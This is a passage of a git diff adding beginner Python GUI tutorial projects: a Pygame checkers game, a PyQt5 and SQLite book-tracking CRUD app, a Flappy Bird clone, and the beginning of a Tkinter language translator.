['', 'bp', '', 'bp', '', 'bp', '', 'bp'], + ['', '', '', '', '', '', '', ''], + ['', '', '', '', '', '', '', ''], + ['rp', '', 'rp', '', 'rp', '', 'rp', ''], + ['', 'rp', '', 'rp', '', 'rp', '', 'rp'], + ['rp', '', 'rp', '', 'rp', '', 'rp', ''] + ] + + self.tile_list = self._generate_tiles() + self._setup() + + def _generate_tiles(self): + output = [] + for y in range(self.board_size): + for x in range(self.board_size): + output.append( + Tile(x, y, self.tile_width, self.tile_height) + ) + return output + + def get_tile_from_pos(self, pos): + for tile in self.tile_list: + if (tile.x, tile.y) == (pos[0], pos[1]): + return tile + + def _setup(self): + for y_ind, row in enumerate(self.config): + for x_ind, x in enumerate(row): + tile = self.get_tile_from_pos((x_ind, y_ind)) + if x != '': + if x[-1] == 'p': + color = 'red' if x[0] == 'r' else 'black' + tile.occupying_piece = Pawn(x_ind, y_ind, color, self) + + def handle_click(self, pos): + x, y = pos[0], pos[-1] + if x >= self.board_size or y >= self.board_size: + x = x // self.tile_width + y = y // self.tile_height + clicked_tile = self.get_tile_from_pos((x, y)) + + if self.selected_piece is None: + if clicked_tile.occupying_piece is not None: + if clicked_tile.occupying_piece.color == self.turn: + self.selected_piece = clicked_tile.occupying_piece + elif self.selected_piece._move(clicked_tile): + if not self.is_jump: + self.turn = 'red' if self.turn == 'black' else 'black' + else: + if len(clicked_tile.occupying_piece.valid_jumps()) == 0: + self.turn = 'red' if self.turn == 'black' else 'black' + elif clicked_tile.occupying_piece is not None: + if clicked_tile.occupying_piece.color == self.turn: + self.selected_piece = clicked_tile.occupying_piece + + def draw(self, display): + if self.selected_piece is not None: + self.get_tile_from_pos(self.selected_piece.pos).highlight = True + if not self.is_jump: + for tile in self.selected_piece.valid_moves(): + tile.highlight = True + else: + for tile in self.selected_piece.valid_jumps(): + tile[0].highlight = True + + for tile in self.tile_list: + tile.draw(display) \ No newline at end of file diff --git a/gui-programming/checkers-game/Game.py b/gui-programming/checkers-game/Game.py new file mode 100644 index 00000000..39a8bede --- /dev/null +++ b/gui-programming/checkers-game/Game.py @@ -0,0 +1,44 @@ +class Game: + + def __init__(self): + self.winner = None + + # checks if both colors still has a piece + def check_piece(self, board): + red_piece = 0 + black_piece = 0 + for y in range(board.board_size): + for x in range(board.board_size): + tile = board.get_tile_from_pos((x, y)) + if tile.occupying_piece != None: + if tile.occupying_piece.color == "red": + red_piece += 1 + else: + black_piece += 1 + return red_piece, black_piece + + def is_game_over(self, board): + red_piece, black_piece = self.check_piece(board) + if red_piece == 0 or black_piece == 0: + self.winner = "red" if red_piece > black_piece else "black" + return True + else: + return False + + def check_jump(self, board): + piece = None + for tile in board.tile_list: + if tile.occupying_piece != None: + piece = tile.occupying_piece + if len(piece.valid_jumps()) != 0 and board.turn == piece.color: + board.is_jump = True + break + else: + board.is_jump = False + if board.is_jump: + board.selected_piece = piece + board.handle_click(piece.pos) + return board.is_jump + + def message(self): + print(f"{self.winner} Wins!!") \ No newline at end of file diff --git a/gui-programming/checkers-game/King.py b/gui-programming/checkers-game/King.py new file mode 100644 index 00000000..ef7bb7bf --- /dev/null +++ b/gui-programming/checkers-game/King.py @@ -0,0 +1,47 @@ +import pygame +from Piece import Piece + +class King(Piece): + def __init__(self, x, y, color, board): + super().__init__(x, y, color, board) + img_path = f'images/{color}-king.png' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, (board.tile_width, board.tile_height)) + self.notation = 'k' + + def _possible_moves(self): + possible_moves = ((-1, -1), (+1, -1), (-1, +1), (+1, +1)) + return possible_moves + + def valid_moves(self): + tile_moves = [] + moves = self._possible_moves() + for move in moves: + tile_pos = (self.x + move[0], self.y + move[-1]) + if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7: + pass + else: + tile = self.board.get_tile_from_pos(tile_pos) + if tile.occupying_piece == None: + tile_moves.append(tile) + return tile_moves + + def valid_jumps(self): + tile_jumps = [] + moves = self._possible_moves() + for move in moves: + tile_pos = (self.x + move[0], self.y + move[-1]) + if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7: + pass + else: + tile = self.board.get_tile_from_pos(tile_pos) + if self.board.turn == self.color: + if tile.occupying_piece != None and tile.occupying_piece.color != self.color: + next_pos = (tile_pos[0] + move[0], tile_pos[-1] + move[-1]) + next_tile = self.board.get_tile_from_pos(next_pos) + if next_pos[0] < 0 or next_pos[0] > 7 or next_pos[-1] < 0 or next_pos[-1] > 7: + pass + else: + if next_tile.occupying_piece == None: + tile_jumps.append((next_tile, tile)) + return tile_jumps \ No newline at end of file diff --git a/gui-programming/checkers-game/Main.py b/gui-programming/checkers-game/Main.py new file mode 100644 index 00000000..dc7d9ac6 --- /dev/null +++ b/gui-programming/checkers-game/Main.py @@ -0,0 +1,46 @@ +import pygame +from Board import Board +from Game import Game + +pygame.init() + +class Checkers: + def __init__(self, screen): + self.screen = screen + self.running = True + self.FPS = pygame.time.Clock() + + def _draw(self, board): + board.draw(self.screen) + pygame.display.update() + + def main(self, window_width, window_height): + board_size = 8 + tile_width, tile_height = window_width // board_size, window_height // board_size + board = Board(tile_width, tile_height, board_size) + game = Game() + while self.running: + game.check_jump(board) + + for self.event in pygame.event.get(): + if self.event.type == pygame.QUIT: + self.running = False + + if not game.is_game_over(board): + if self.event.type == pygame.MOUSEBUTTONDOWN: + board.handle_click(self.event.pos) + else: + game.message() + self.running = False + + self._draw(board) + self.FPS.tick(60) + + +if __name__ == "__main__": + window_size = (640, 640) + screen = pygame.display.set_mode(window_size) + pygame.display.set_caption("Checkers") + + checkers = Checkers(screen) + checkers.main(window_size[0], window_size[1]) \ No newline at end of file diff --git a/gui-programming/checkers-game/Pawn.py b/gui-programming/checkers-game/Pawn.py new file mode 100644 index 00000000..3550c00c --- /dev/null +++ b/gui-programming/checkers-game/Pawn.py @@ -0,0 +1,51 @@ +import pygame +from Piece import Piece + +class Pawn(Piece): + def __init__(self, x, y, color, board): + super().__init__(x, y, color, board) + img_path = f'images/{color}-pawn.png' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, (board.tile_width, board.tile_height)) + self.notation = 'p' + + def _possible_moves(self): + # (x, y) move for left and right + if self.color == "red": + possible_moves = ((-1, -1), (+1, -1)) + else: + possible_moves = ((-1, +1), (+1, +1)) + return possible_moves + + def valid_moves(self): + tile_moves = [] + moves = self._possible_moves() + for move in moves: + tile_pos = (self.x + move[0], self.y + move[-1]) + if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7: + pass + else: + tile = self.board.get_tile_from_pos(tile_pos) + if tile.occupying_piece == None: + tile_moves.append(tile) + return tile_moves + + def valid_jumps(self): + tile_jumps = [] + moves = self._possible_moves() + for move in moves: + tile_pos = (self.x + move[0], self.y + move[-1]) + if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7: + pass + else: + tile = self.board.get_tile_from_pos(tile_pos) + if self.board.turn == self.color: + if tile.occupying_piece != None and tile.occupying_piece.color != self.color: + next_pos = (tile_pos[0] + move[0], tile_pos[-1] + move[-1]) + next_tile = self.board.get_tile_from_pos(next_pos) + if next_pos[0] < 0 or next_pos[0] > 7 or next_pos[-1] < 0 or next_pos[-1] > 7: + pass + else: + if next_tile.occupying_piece == None: + tile_jumps.append((next_tile, tile)) + return tile_jumps \ No newline at end of file diff --git a/gui-programming/checkers-game/Piece.py b/gui-programming/checkers-game/Piece.py new file mode 100644 index 00000000..3c82a326 --- /dev/null +++ b/gui-programming/checkers-game/Piece.py @@ -0,0 +1,56 @@ +import pygame + +class Piece: + def __init__(self, x, y, color, board): + self.x = x + self.y = y + self.pos = (x, y) + self.board = board + self.color = color + + def _move(self, tile): + for i in self.board.tile_list: + i.highlight = False + + if tile in self.valid_moves() and not self.board.is_jump: + prev_tile = self.board.get_tile_from_pos(self.pos) + self.pos, self.x, self.y = tile.pos, tile.x, tile.y + + prev_tile.occupying_piece = None + tile.occupying_piece = self + self.board.selected_piece = None + self.has_moved = True + + # Pawn promotion + if self.notation == 'p': + if self.y == 0 or self.y == 7: + from King import King + tile.occupying_piece = King( + self.x, self.y, self.color, self.board + ) + return True + + elif self.board.is_jump: + for move in self.valid_jumps(): + if tile in move: + prev_tile = self.board.get_tile_from_pos(self.pos) + jumped_piece = move[-1] + self.pos, self.x, self.y = tile.pos, tile.x, tile.y + + prev_tile.occupying_piece = None + jumped_piece.occupying_piece = None + tile.occupying_piece = self + self.board.selected_piece = None + self.has_moved = True + + # Pawn promotion + if self.notation == 'p': + if self.y == 0 or self.y == 7: + from King import King + tile.occupying_piece = King( + self.x, self.y, self.color, self.board + ) + return True + else: + self.board.selected_piece = None + return False \ No newline at end of file diff --git a/gui-programming/checkers-game/README.md b/gui-programming/checkers-game/README.md new file mode 100644 index 00000000..c9191191 --- /dev/null +++ b/gui-programming/checkers-game/README.md @@ -0,0 +1,4 @@ +# [How to Make a Checkers Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-checkers-game-with-pygame-in-python) +To run this: +- `pip3 install -r requirements.txt` +- `python3 Main.py` \ No newline at end of file diff --git a/gui-programming/checkers-game/Tile.py b/gui-programming/checkers-game/Tile.py new file mode 100644 index 00000000..5e1ad127 --- /dev/null +++ b/gui-programming/checkers-game/Tile.py @@ -0,0 +1,41 @@ +import pygame + +class Tile: + def __init__(self, x, y, tile_width, tile_height): + self.x = x + self.y = y + self.pos = (x, y) + self.tile_width = tile_width + self.tile_height = tile_height + self.abs_x = x * tile_width + self.abs_y = y * tile_height + self.abs_pos = (self.abs_x, self.abs_y) + + self.color = 'light' if (x + y) % 2 == 0 else 'dark' + self.draw_color = (220, 189, 194) if self.color == 'light' else (53, 53, 53) + self.highlight_color = (100, 249, 83) if self.color == 'light' else (0, 228, 10) + + self.occupying_piece = None + self.coord = self.get_coord() + self.highlight = False + self.rect = pygame.Rect( + self.abs_x, + self.abs_y, + self.tile_width, + self.tile_height + ) + + def get_coord(self): + columns = 'abcdefgh' + return columns[self.x] + str(self.y + 1) + + def draw(self, display): + if self.highlight: + pygame.draw.rect(display, self.highlight_color, self.rect) + else: + pygame.draw.rect(display, self.draw_color, self.rect) + + if self.occupying_piece != None: + centering_rect = self.occupying_piece.img.get_rect() + centering_rect.center = self.rect.center + display.blit(self.occupying_piece.img, centering_rect.topleft) \ No newline at end of file diff --git a/gui-programming/checkers-game/images/black-king.png b/gui-programming/checkers-game/images/black-king.png new file mode 100644 index 00000000..b4e8e557 Binary files /dev/null and b/gui-programming/checkers-game/images/black-king.png differ diff --git a/gui-programming/checkers-game/images/black-pawn.png b/gui-programming/checkers-game/images/black-pawn.png new file mode 100644 index 00000000..35992cf2 Binary files /dev/null and b/gui-programming/checkers-game/images/black-pawn.png differ diff --git a/gui-programming/checkers-game/images/red-king.png b/gui-programming/checkers-game/images/red-king.png new file mode 100644 index 00000000..17468138 Binary files /dev/null and b/gui-programming/checkers-game/images/red-king.png differ diff --git a/gui-programming/checkers-game/images/red-pawn.png b/gui-programming/checkers-game/images/red-pawn.png new file mode 100644 index 00000000..7724b8d4 Binary files /dev/null and b/gui-programming/checkers-game/images/red-pawn.png differ diff --git a/gui-programming/checkers-game/requirements.txt b/gui-programming/checkers-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/checkers-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/crud-app-pyqt5/README.md b/gui-programming/crud-app-pyqt5/README.md new file mode 100644 index 00000000..45763138 --- /dev/null +++ b/gui-programming/crud-app-pyqt5/README.md @@ -0,0 +1 @@ +# [How to Build a CRUD App with PyQt5 and SQLite3 in Python](https://thepythoncode.com/article/build-a-crud-app-using-pyqt5-and-sqlite3-in-python) \ No newline at end of file diff --git a/gui-programming/crud-app-pyqt5/db.py b/gui-programming/crud-app-pyqt5/db.py new file mode 100644 index 00000000..d00b26d6 --- /dev/null +++ b/gui-programming/crud-app-pyqt5/db.py @@ -0,0 +1,72 @@ +import sqlite3 +import datetime + + +def create_table(): + db = sqlite3.connect('database.db') + query = """ + CREATE TABLE if not exists BOOKS + (ID INTEGER PRIMARY KEY AUTOINCREMENT, + NAME TEXT NOT NULL, + CREATED_AT DATETIME default current_timestamp, + COMPLETED_AT DATATIME + ) + """ + cur = db.cursor() + cur.execute(query) + db.close() + + +create_table() + + +def insert_book(name, completed_at): + db = sqlite3.connect('database.db') + query = """ + INSERT INTO BOOKS(NAME, COMPLETED_AT) + + VALUES (?,?) + """ + + cur = db.cursor() + cur.execute(query, (name, completed_at)) + db.commit() + db.close() + print('completed') + + +def get_all_books(): + db = sqlite3.connect('database.db') + statement = 'SELECT id, name, completed_at FROM BOOKS' + cur = db.cursor() + items_io = cur.execute(statement) + item_lst = [i for i in items_io] + return item_lst + + +# insert_book('Time, fast or slow', datetime.datetime.now()) + +def add_book(self): + title = self.title_input.text() + if title: + cursor.execute("INSERT INTO books (title) VALUES (?)", (title,)) + conn.commit() + self.title_input.clear() + self.load_books() + + +def delete_book(book_id): + # Connect to the SQLite database + db = sqlite3.connect('database.db') + + # Define the SQL query to delete a book with a specific ID + query = "DELETE FROM books WHERE id = ?" + + # Execute the query with the provided book ID as a parameter + db.execute(query, (book_id,)) + + # Commit the changes to the database + db.commit() + + # Close the database connection + db.close() diff --git a/gui-programming/crud-app-pyqt5/main.py b/gui-programming/crud-app-pyqt5/main.py new file mode 100644 index 00000000..277e0159 --- /dev/null +++ b/gui-programming/crud-app-pyqt5/main.py @@ -0,0 +1,128 @@ +from PyQt5.QtWidgets import (QApplication, QMainWindow, QVBoxLayout, QScrollArea, + QLineEdit, QFormLayout, QHBoxLayout, QFrame, QDateEdit, + QPushButton, QLabel, QListWidget, QDialog, QAction, QToolBar) +from PyQt5.QtCore import Qt + +from datetime import datetime +from db import (get_all_books, create_table, insert_book, delete_book) + + +class CreateRecord(QFrame): + def __init__(self, main_window): + super().__init__() + self.main_window = main_window # Pass a reference to the main window + + self.date_entry = QDateEdit() + self.book_name = QLineEdit() + self.book_name.setPlaceholderText('Book name') + self.add_button = QPushButton(text="Add Book") + # Connect the button to add_book function + self.add_button.clicked.connect(self.add_book) + + layout = QVBoxLayout(self) + layout.addWidget(QLabel('Book Name:')) + layout.addWidget(self.book_name) + layout.addWidget(QLabel('Completed Date:')) + layout.addWidget(self.date_entry) + layout.addWidget(self.add_button) + + def add_book(self): + book_name = self.book_name.text() + completed_date = self.date_entry.date().toString("yyyy-MM-dd") + + if book_name: + insert_book(book_name, completed_date) + # Reload the book collection after adding a book + self.main_window.load_collection() + self.book_name.clear() # Clear the input field + + +class BookCard(QFrame): + def __init__(self, book_id, bookname, completed_date): + super().__init__() + self.setStyleSheet( + 'background:white; border-radius:4px; color:black;' + ) + self.setFixedHeight(110) + self.book_id = book_id + layout = QVBoxLayout() + label = QLabel(f'{bookname}') + + # Update the format string here + parsed_datetime = datetime.strptime(completed_date, "%Y-%m-%d") + formatted_datetime = parsed_datetime.strftime("%Y-%m-%d") + + date_completed = QLabel(f"Completed {formatted_datetime}") + delete_button = QPushButton( + text='Delete', clicked=self.delete_book_click) + # delete_button.setFixedWidth(60) + delete_button.setStyleSheet('background:red; padding:4px;') + + layout.addWidget(label) + layout.addWidget(date_completed) + layout.addWidget(delete_button) + layout.addStretch() + self.setLayout(layout) + + def delete_book_click(self): + delete_book(self.book_id) + self.close() + + +class Main(QMainWindow): + def __init__(self): + super().__init__() + self.initUI() + self.load_collection() + + def initUI(self): + self.main_frame = QFrame() + self.main_layout = QVBoxLayout(self.main_frame) + + # add register widget + # Pass a reference to the main window + self.register_widget = CreateRecord(self) + self.main_layout.addWidget(self.register_widget) + + books_label = QLabel('Completed Books') + books_label.setStyleSheet('font-size:18px;') + self.main_layout.addWidget(books_label) + self.book_collection_area() + + self.setCentralWidget(self.main_frame) + + def book_collection_area(self): + scroll_frame = QFrame() + self.book_collection_layout = QVBoxLayout(scroll_frame) + + scroll = QScrollArea() + scroll.setWidgetResizable(True) + scroll.setWidget(scroll_frame) + scroll.setStyleSheet('QScrollArea{border:0px}') + + self.book_collection_layout.addStretch() + self.main_layout.addWidget(scroll) + + def load_collection(self): + # Clear existing book cards before reloading + for i in reversed(range(self.book_collection_layout.count())): + widget = self.book_collection_layout.itemAt(i).widget() + if widget is not None: + widget.deleteLater() + + collections = get_all_books() + for collection in collections: + frame = BookCard(*collection) + self.book_collection_layout.insertWidget(0, frame) + + +def main(): + app = QApplication([]) + app.setStyle('fusion') + win = Main() + win.show() + app.exec_() + + +if __name__ == '__main__': + main() diff --git a/gui-programming/crud-app-pyqt5/requirements.txt b/gui-programming/crud-app-pyqt5/requirements.txt new file mode 100644 index 00000000..300ea5c9 --- /dev/null +++ b/gui-programming/crud-app-pyqt5/requirements.txt @@ -0,0 +1 @@ +pyqt5 diff --git a/gui-programming/flappy-bird-game/README.md b/gui-programming/flappy-bird-game/README.md new file mode 100644 index 00000000..5bcb2419 --- /dev/null +++ b/gui-programming/flappy-bird-game/README.md @@ -0,0 +1 @@ +# [How to Make a Flappy Bird Game in Python](https://thepythoncode.com/article/make-a-flappy-bird-game-python) \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/assets/bird/0.png b/gui-programming/flappy-bird-game/assets/bird/0.png new file mode 100644 index 00000000..cc0c1f20 Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/bird/0.png differ diff --git a/gui-programming/flappy-bird-game/assets/bird/1.png b/gui-programming/flappy-bird-game/assets/bird/1.png new file mode 100644 index 00000000..73e9592a Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/bird/1.png differ diff --git a/gui-programming/flappy-bird-game/assets/bird/2.png b/gui-programming/flappy-bird-game/assets/bird/2.png new file mode 100644 index 00000000..d89bb79b Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/bird/2.png differ diff --git a/gui-programming/flappy-bird-game/assets/terrain/bg.png b/gui-programming/flappy-bird-game/assets/terrain/bg.png new file mode 100644 index 00000000..0c6b138c Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/terrain/bg.png differ diff --git a/gui-programming/flappy-bird-game/assets/terrain/ground.png b/gui-programming/flappy-bird-game/assets/terrain/ground.png new file mode 100644 index 00000000..70105cb5 Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/terrain/ground.png differ diff --git a/gui-programming/flappy-bird-game/assets/terrain/pipe.png b/gui-programming/flappy-bird-game/assets/terrain/pipe.png new file mode 100644 index 00000000..03e3e82c Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/terrain/pipe.png differ diff --git a/gui-programming/flappy-bird-game/bird.py b/gui-programming/flappy-bird-game/bird.py new file mode 100644 index 00000000..c5ad5e89 --- /dev/null +++ b/gui-programming/flappy-bird-game/bird.py @@ -0,0 +1,42 @@ +import pygame +from settings import import_sprite + +class Bird(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + # bird basic info + self.frame_index = 0 + self.animation_delay = 3 + self.jump_move = -9 + + # bird animation + self.bird_img = import_sprite("assets/bird") + self.image = self.bird_img[self.frame_index] + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # bird status + self.direction = pygame.math.Vector2(0, 0) + self.score = 0 + + # for bird's flying animation + def _animate(self): + sprites = self.bird_img + sprite_index = (self.frame_index // self.animation_delay) % len(sprites) + self.image = sprites[sprite_index] + self.frame_index += 1 + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + self.mask = pygame.mask.from_surface(self.image) + if self.frame_index // self.animation_delay > len(sprites): + self.frame_index = 0 + + # to make the bird fly higher + def _jump(self): + self.direction.y = self.jump_move + + # updates the bird's overall state + def update(self, is_jump): + if is_jump: + self._jump() + self._animate() \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/game.py b/gui-programming/flappy-bird-game/game.py new file mode 100644 index 00000000..d2d7e622 --- /dev/null +++ b/gui-programming/flappy-bird-game/game.py @@ -0,0 +1,25 @@ +import pygame +from settings import WIDTH, HEIGHT + +pygame.font.init() + +class GameIndicator: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont('Bauhaus 93', 60) + self.inst_font = pygame.font.SysFont('Bauhaus 93', 30) + self.color = pygame.Color("white") + self.inst_color = pygame.Color("black") + + def show_score(self, int_score): + bird_score = str(int_score) + score = self.font.render(bird_score, True, self.color) + self.screen.blit(score, (WIDTH // 2, 50)) + + def instructions(self): + inst_text1 = "Press SPACE button to Jump," + inst_text2 = "Press \"R\" Button to Restart Game." + ins1 = self.inst_font.render(inst_text1, True, self.inst_color) + ins2 = self.inst_font.render(inst_text2, True, self.inst_color) + self.screen.blit(ins1, (95, 400)) + self.screen.blit(ins2, (70, 450)) diff --git a/gui-programming/flappy-bird-game/main.py b/gui-programming/flappy-bird-game/main.py new file mode 100644 index 00000000..61e68c60 --- /dev/null +++ b/gui-programming/flappy-bird-game/main.py @@ -0,0 +1,53 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, ground_space +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + ground_space)) +pygame.display.set_caption("Flappy Bird") + +class Main: + def __init__(self, screen): + self.screen = screen + self.bg_img = pygame.image.load('assets/terrain/bg.png') + self.bg_img = pygame.transform.scale(self.bg_img, (WIDTH, HEIGHT)) + self.ground_img = pygame.image.load('assets/terrain/ground.png') + self.ground_scroll = 0 + self.scroll_speed = -6 + self.FPS = pygame.time.Clock() + self.stop_ground_scroll = False + + def main(self): + world = World(screen) + while True: + self.stop_ground_scroll = world.game_over + self.screen.blit(self.bg_img, (0, 0)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + elif event.type == pygame.KEYDOWN: + if not world.playing and not world.game_over: + world.playing = True + if event.key == pygame.K_SPACE: + world.update("jump") + if event.key == pygame.K_r: + world.update("restart") + + world.update() + + self.screen.blit(self.ground_img, (self.ground_scroll, HEIGHT)) + if not self.stop_ground_scroll: + self.ground_scroll += self.scroll_speed + if abs(self.ground_scroll) > 35: + self.ground_scroll = 0 + + pygame.display.update() + self.FPS.tick(60) + +if __name__ == "__main__": + play = Main(screen) + play.main() diff --git a/gui-programming/flappy-bird-game/pipe.py b/gui-programming/flappy-bird-game/pipe.py new file mode 100644 index 00000000..a66a959b --- /dev/null +++ b/gui-programming/flappy-bird-game/pipe.py @@ -0,0 +1,21 @@ +import pygame + +class Pipe(pygame.sprite.Sprite): + def __init__(self, pos, width, height, flip): + super().__init__() + self.width = width + img_path = 'assets/terrain/pipe.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (width, height)) + if flip: + flipped_image = pygame.transform.flip(self.image, False, True) + self.image = flipped_image + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift + + # removes the pipe in the game screen once it is not shown in the screen anymore + if self.rect.right < (-self.width): + self.kill() \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/requirements.txt b/gui-programming/flappy-bird-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/flappy-bird-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/settings.py b/gui-programming/flappy-bird-game/settings.py new file mode 100644 index 00000000..2c5eb460 --- /dev/null +++ b/gui-programming/flappy-bird-game/settings.py @@ -0,0 +1,26 @@ +from os import walk +import pygame + +WIDTH, HEIGHT = 600, 650 + +pipe_pair_sizes = [ + (1, 7), + (2, 6), + (3, 5), + (4, 4), + (5, 3), + (6, 2), + (7, 1) +] +pipe_size = HEIGHT // 10 +pipe_gap = (pipe_size * 2) + (pipe_size // 2) +ground_space = 50 + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/world.py b/gui-programming/flappy-bird-game/world.py new file mode 100644 index 00000000..36bf131f --- /dev/null +++ b/gui-programming/flappy-bird-game/world.py @@ -0,0 +1,101 @@ +import pygame +from pipe import Pipe +from bird import Bird +from game import GameIndicator +from settings import WIDTH, HEIGHT, pipe_size, pipe_gap, pipe_pair_sizes +import random + +class World: + def __init__(self, screen): + self.screen = screen + self.world_shift = 0 + self.current_x = 0 + self.gravity = 0.5 + self.current_pipe = None + self.pipes = pygame.sprite.Group() + self.player = pygame.sprite.GroupSingle() + self._generate_world() + self.playing = False + self.game_over = False + self.passed = True + self.game = GameIndicator(screen) + + # creates the player and the obstacle + def _generate_world(self): + self._add_pipe() + bird = Bird((WIDTH//2 - pipe_size, HEIGHT//2 - pipe_size), 30) + self.player.add(bird) + + # adds pipe once the last pipe added reached the desired pipe horizontal spaces + def _add_pipe(self): + pipe_pair_size = random.choice(pipe_pair_sizes) + top_pipe_height, bottom_pipe_height = pipe_pair_size[0] * pipe_size, pipe_pair_size[1] * pipe_size + + pipe_top = Pipe((WIDTH, 0 - (bottom_pipe_height + pipe_gap)), pipe_size, HEIGHT, True) + pipe_bottom = Pipe((WIDTH, top_pipe_height + pipe_gap), pipe_size, HEIGHT, False) + self.pipes.add(pipe_top) + self.pipes.add(pipe_bottom) + self.current_pipe = pipe_top + + # for moving background/obstacle + def _scroll_x(self): + if self.playing: + self.world_shift = -6 + else: + self.world_shift = 0 + + # add gravity to bird for falling + def _apply_gravity(self, player): + if self.playing or self.game_over: + player.direction.y += self.gravity + player.rect.y += player.direction.y + + # handles scoring and collision + def _handle_collisions(self): + bird = self.player.sprite + # for collision checking + if pygame.sprite.groupcollide(self.player, self.pipes, False, False) or bird.rect.bottom >= HEIGHT or bird.rect.top <= 0: + self.playing = False + self.game_over = True + else: + # if player pass through the pipe gaps + bird = self.player.sprite + if bird.rect.x >= self.current_pipe.rect.centerx: + bird.score += 1 + self.passed = True + + # updates the bird's overall state + def update(self, player_event = None): + # new pipe adder + if self.current_pipe.rect.centerx <= (WIDTH // 2) - pipe_size: + self._add_pipe() + + # updates, draws pipes + self.pipes.update(self.world_shift) + self.pipes.draw(self.screen) + + # applying game physics + self._apply_gravity(self.player.sprite) + self._scroll_x() + self._handle_collisions() + + # configuring player actions + if player_event == "jump" and not self.game_over: + player_event = True + elif player_event == "restart": + self.game_over = False + self.pipes.empty() + self.player.empty() + self.player.score = 0 + self._generate_world() + else: + player_event = False + + if not self.playing: + self.game.instructions() + + # updates, draws pipes + self.player.update(player_event) + self.player.draw(self.screen) + + self.game.show_score(self.player.sprite.score) \ No newline at end of file diff --git a/gui-programming/gui-language-translator/README.md b/gui-programming/gui-language-translator/README.md new file mode 100644 index 00000000..19f8235e --- /dev/null +++ b/gui-programming/gui-language-translator/README.md @@ -0,0 +1 @@ +# [How to Build a GUI Language Translator App in Python](https://www.thepythoncode.com/article/build-a-gui-language-translator-tkinter-python) \ No newline at end of file diff --git a/gui-programming/gui-language-translator/arrows.png b/gui-programming/gui-language-translator/arrows.png new file mode 100644 index 00000000..5b7a761a Binary files /dev/null and b/gui-programming/gui-language-translator/arrows.png differ diff --git a/gui-programming/gui-language-translator/copy.png b/gui-programming/gui-language-translator/copy.png new file mode 100644 index 00000000..faa7561f Binary files /dev/null and b/gui-programming/gui-language-translator/copy.png differ diff --git a/gui-programming/gui-language-translator/gui-language-translator.py b/gui-programming/gui-language-translator/gui-language-translator.py new file mode 100644 index 00000000..9ba72784 --- /dev/null +++ b/gui-programming/gui-language-translator/gui-language-translator.py @@ -0,0 +1,135 @@ +import ttkbootstrap as ttk +from ttkbootstrap.scrolled import ScrolledText +from ttkbootstrap.toast import ToastNotification +from tkinter.messagebox import showerror +import googletrans +from googletrans import Translator +import pyttsx3 +import pyperclip + +translator = Translator() + +engine = pyttsx3.init() + + +class LanguageTranslator: + def __init__(self, master): + self.master = master + # calling the UI method in the constructor + self.MainWindow() + # calling the Widgets method in the constructor + self.Widgets() + + + def MainWindow(self): + self.master.geometry('600x430+300+150') + self.master.title('Language Translator') + self.master.resizable(width = 0, height = 0) + # setting the icon for the application + icon = ttk.PhotoImage(file='icon.png') + self.master.iconphoto(False, icon) + + + def Widgets(self): + # the canvas for containing the other widgets + self.canvas = ttk.Canvas(self.master, width = 600, height = 400) + self.canvas.pack() + # the logo for the application + self.logo = ttk.PhotoImage(file='logo.png').subsample(5, 5) + self.canvas.create_image(75, 70, image = self.logo) + # getting all the languages + language_data = googletrans.LANGUAGES + # getting all the language values using the values() function + language_values = language_data.values() + # converting the languages to a list + languages = list(language_values) + # first combobox for the source language + self.from_language = ttk.Combobox(self.canvas, width = 36, bootstyle = 'primary', values = languages) + self.from_language.current(0) + self.canvas.create_window(150, 140, window = self.from_language) + # loading the arrow icon + self.arrow_icon = ttk.PhotoImage(file='arrows.png') + self.resized_icon = self.arrow_icon.subsample(15, 15) + self.image_label = ttk.Label(self.master, image = self.resized_icon) + self.canvas.create_window(300, 140, window = self.image_label) + # the second combobox for the destination language + self.to_language = ttk.Combobox(self.canvas, width = 36, bootstyle = 'primary', values = languages) + self.to_language.current(21) + self.canvas.create_window(450, 140, window = self.to_language) + # scrollable text for entering input + self.from_text = ScrolledText(self.master, font=("Dotum", 10), width = 30, height = 10) + self.canvas.create_window(150, 250, window = self.from_text) + # scrollable text for output + self.to_text = ScrolledText(self.master, font=("Dotum", 10), width = 30, height = 10) + self.canvas.create_window(450, 250, window = self.to_text) + # loading icons + self.speaker_icon = ttk.PhotoImage(file = 'speaker.png').subsample(5, 4) + 